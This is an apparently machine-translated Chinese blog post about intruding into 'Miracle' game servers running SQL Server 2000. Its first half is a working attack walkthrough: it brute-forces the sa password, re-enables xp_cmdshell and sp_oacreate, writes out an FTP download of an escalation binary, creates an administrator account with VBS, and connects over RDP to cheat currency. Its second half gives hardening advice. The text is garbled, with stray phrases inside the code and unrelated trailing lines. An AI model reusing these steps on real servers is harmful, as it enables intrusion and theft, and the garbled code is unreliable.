
信息摘要: 我相信每个人都知道,如果1.03 Miracle中有一个网络仓库,或者如果该网站打开了积分兑换和其他功能,则很容易被盗并对锭进行计分. 今天,我将向您介绍定向IP入侵奇迹服务器的过程和防御措施,以便对通用服务GM发出警告. 首先,让我告诉你一些事情. 可以通过以下方法入侵Miracle Server的人肯定是主机的主人. 请根据本文中的方法采取一些防御措施!
通常的想法是通过1433端口远程执行SQL语句以入侵服务器,扫描漏洞等. 在获得外壳程序之后,使用SQL存储过程执行SQL代码以实现特权升级. 具体过程如下: 1.使用“ 1433端口入侵工具”查找一个用户弱密码,挂起“黑客字典”,“木人字典”等,以计算指定IP的1433端口sa密码,然后使用指定的IP. 用于连接的SQL工具.
2. 使用查询分析器执行以下代码,
第一步是删除:
删除过程sp_addextendedproc
删除过程sp_oacreate
exec sp_dropextendedproc'xp_cmdshell'
第二步恢复:
dbcc addextendedproc(“ sp_oacreate”,“ odsole70.dll”)
dbcc addextendedproc(“ xp_cmdshell”入侵指定ip服务器,“ xplog70.dll”)
提升权力的第三步:
声明@o int,@ f int,@ t int,@ ret int
exec sp_oacreate'scripting.filesystemobject',@o out
exec sp_oamethod @ o,'createtextfile',@ f out,'C: \ 1.bat',1
exec @ret = sp_oamethod @ f,'writeline',NULL,'open IP'
exec @ret = sp_oamethod @ f,'writeline',NULL,'ftp帐户'

exec @ret = sp_oamethod @ f,'writeline',NULL,'ftp password'
exec @ret = sp_oamethod @ f,'writeline',NULL,'获取en.exe(无网络特权升级脚本)c: \ en.exe'
exec @ret = sp_oamethod @ f,'writeline',NULL,'bye'
传递马匹的第四步:
声明@o int,@ f int,@ t int,@ ret int
exec sp_oacreate'scripting.filesystemobject',@o out
exec sp_oamethod @ o,'createtextfile',@ f out,'c: \ 1.vbs',1
exec @ret = sp_oamethod @ f,'writeline',NULL,'Set o = CreateObject(“ Shell.Users”)'
exec @ret = sp_oamethod @ f,'writeline',NULL,'Set z = o.create(“ user”)'
exec @ret = sp_oamethod @ f,'writeline',NULL,'z.changePassword“ password”,“”'
exec @ret = sp_oamethod @ f,'writeline',NULL,'z.setting(“ AccountType”)= 3'
然后cmd在其上执行cscript c: \ 1.vbs
第五步是赢得服务器: (以下代码是VBS脚本)
set wsnetwork = CreateObject(“ WSCRIPT.NETWORK”)
os =“ WinNT: //”&wsnetwork.ComputerName
Set ob = GetObject(os)'获取adsi接口,绑定

设置oe = GetObject(os&“ / Administrators,group”)'属性,管理组
设置od = ob.Create(“ user”,“ test”)'创建用户
od.SetPassword“ 1234”'设置密码
od.SetInfo'保存
Set of = GetObject(os&“ / test”,user)'获取用户
oe.add os&“ / test”
SQL语句如下,使用sp_oamethod进程:
声明@o int,@ f int,@ ret int
exec sp_oacreate'scripting.filesystemobject',@o out
exec sp_oamethod @ o,'createtextfile',@ f out,'c: \ 1.vbs',1
exec @ret = sp_oamethod @ f,'writeline',NULL,'设置wsnetwork = CreateObject
(“ WSCRIPT.NETWORK”)'
exec @ret = sp_oamethod @ f,'writeline',NULL,'os =“ WinNT: //”&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @ f,'writeline',NULL,'Set ob = GetObject(os)'
exec @ret = sp_oamethod @ f,'writeline',NULL,'Set oe = GetObject

(os&“ /管理员,组”)'
exec @ret = sp_oamethod @ f,'writeline',NULL,'Set od = ob.Create
(“用户”,“测试”)'
exec @ret = sp_oamethod @ f,'writeline',NULL,'od.SetPassword“ 1234”'
exec @ret = sp_oamethod @ f,'writeline',NULL,'od.SetInfo'
exec @ret = sp_oamethod @ f入侵指定ip服务器,'writeline',NULL,'Set of = GetObject
(os&“ / test”,user)'
exec @ret = sp_oamethod @ f,'writeline',NULL,'oe.add os&“ / test”'
通过上述步骤,我们关闭了1.03 Miracle Server,并创建了新的用户名和密码. 我们可以直接使用3389连接到服务器,轻扫点,刷锭和做我们想做的任何事情. 如果您了解SQL语句,则可以在第二步中使用查询分析器直接刷锭,而不必执行“开门”操作.
攻击是防御. 我们如何防御上述入侵?
1. 使用安全的密码策略
我们将密码策略作为所有安全配置的第一步. 请注意,许多帐户的密码太简单,这与系统密码太简单的原因相同. 请多加注意sa,不要让sa帐户的密码写在应用程序或脚本中. 强大的密码是安全的第一步!
在安装SQL Server2000时,如果使用的是混合模式,则需要输入sa密码,除非您确认必须使用空白密码. 这是对先前版本的改进.
与此同时,养成定期更改密码的习惯. 管理员应定期检查是否存在不符合密码要求的帐户. 例如,使用以下SQL语句:
使用母版
选择名称,从syslogins中输入密码为空的密码

2. 使用安全帐户策略
由于SQL Server无法更改sa用户名或删除此超级用户,因此我们必须最强地保护该帐户,当然,包括使用非常强的密码,最好不要在应用程序中使用该帐户. 仅在没有其他方法可以登录SQL Server实例时(例如,当其他系统管理员不可用或忘记密码时)才使用. 建议管理员以与sa相同的权限建立一个新的超级用户来管理. 安全帐户策略还包括不让管理员权限的帐户泛滥.
SQL Server具有两种身份验证模式: Windows身份验证和混合身份验证. 如果管理员不希望操作系统管理员通过操作系统登录名访问,则可以在帐户管理中删除系统帐户“ BUILTIN / Administrators”. 但是这样做的结果是,一旦sa帐户忘记了密码,就无法恢复它.
许多主机将应用程序用于简单功能,例如查询和修改. 请根据实际需要分配帐户,并授予只能满足应用程序要求和需求的权限. 例如,只要查询功能可用,就可以选择一个简单的公共帐户.
3. 加强日志记录
要审核登录事件的“失败和成功”,请在实例属性中选择“安全”,然后选择所有审核级别,以便将所有帐户详细记录在系统和操作系统日志中登录事件.
请定期检查SQL Server日志以检查是否存在可疑的登录事件,或使用DOS命令.
findstr / C: “登录” d: / Microsoft SQL Server / MSSQL / LOG/*. *
4. 使用协议加密
SQL Server 2000用于网络数据交换的表格数据流协议. 如果未加密,则所有网络传输都采用纯文本格式,包括密码,内容等. 这是一个很大的安全威胁. 人们可以拦截网络上他们需要的内容,包括帐户和密码. 因此,如果条件允许,最好使用SSL加密协议,当然,您需要证书来支持.
5. 不要让人们随意检测您的TCP / IP端口
默认情况下,SQL Server使用端口1433进行侦听. 许说,配置SQL Server时应更改此端口,以使其他人不容易知道要使用哪个端口. 不幸的是,通过Microsoft未公开的1434端口UDP探针,很容易知道SQL Server使用了哪个TCP / IP端口.
但是,Microsoft仍然考虑此问题. 毕竟,打开和打开端口会造成不必要的麻烦. 在实例属性中选择TCP / IP协议的属性. 选择隐藏SQL Server实例. 如果SQL Server实例是隐藏的,则将禁止它响应来自尝试枚举网络上现有SQL Server实例的客户端的广播. 这样,其他人将无法使用1434来检测您的TCP / IP端口(除非使用了端口扫描).
6. 修改TCP / IP使用的端口
请根据上一步中的配置更改原始的默认1433端口. 在实例属性中,在网络配置中选择TCP / IP协议的属性,然后将TCP / IP使用的默认端口更改为另一个端口.
7. 从端口1434拒绝检测
由于1434端口检测没有限制,因此某些信息可能被其他人检测到,并且它也可能会受到DOS的攻击而增加服务器的CPU负载,因此对于Windows 2000操作系统,拒绝使用1434 IPSec过滤中的端口UDP通信可以尽可能隐藏您的SQL Server.
8. 网络连接的IP限制
SQL Server 2000系统本身不为网络连接提供安全解决方案,但是Windows 2000提供了这种安全性机制. 使用操作系统自己的IPSec可以实现IP数据包的安全性. 请限制IP连接,仅确保可以访问您自己的IP,并拒绝其他IP建立的端口连接,以有效控制来自网络的安全威胁.
在奇迹般的大米饭中,许多黑客和高手正在不断研究各种窃取金币和积分的方法. 当然,我相信有很多漏洞,而上述漏洞只是其中之一. 一种. 归根结底,我们仍然要做的是自己的安全策略是国王,防盗刷,防删除库等. .
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/ruanjian/article-238609-1.html
我上班饿了
中国可以在附近海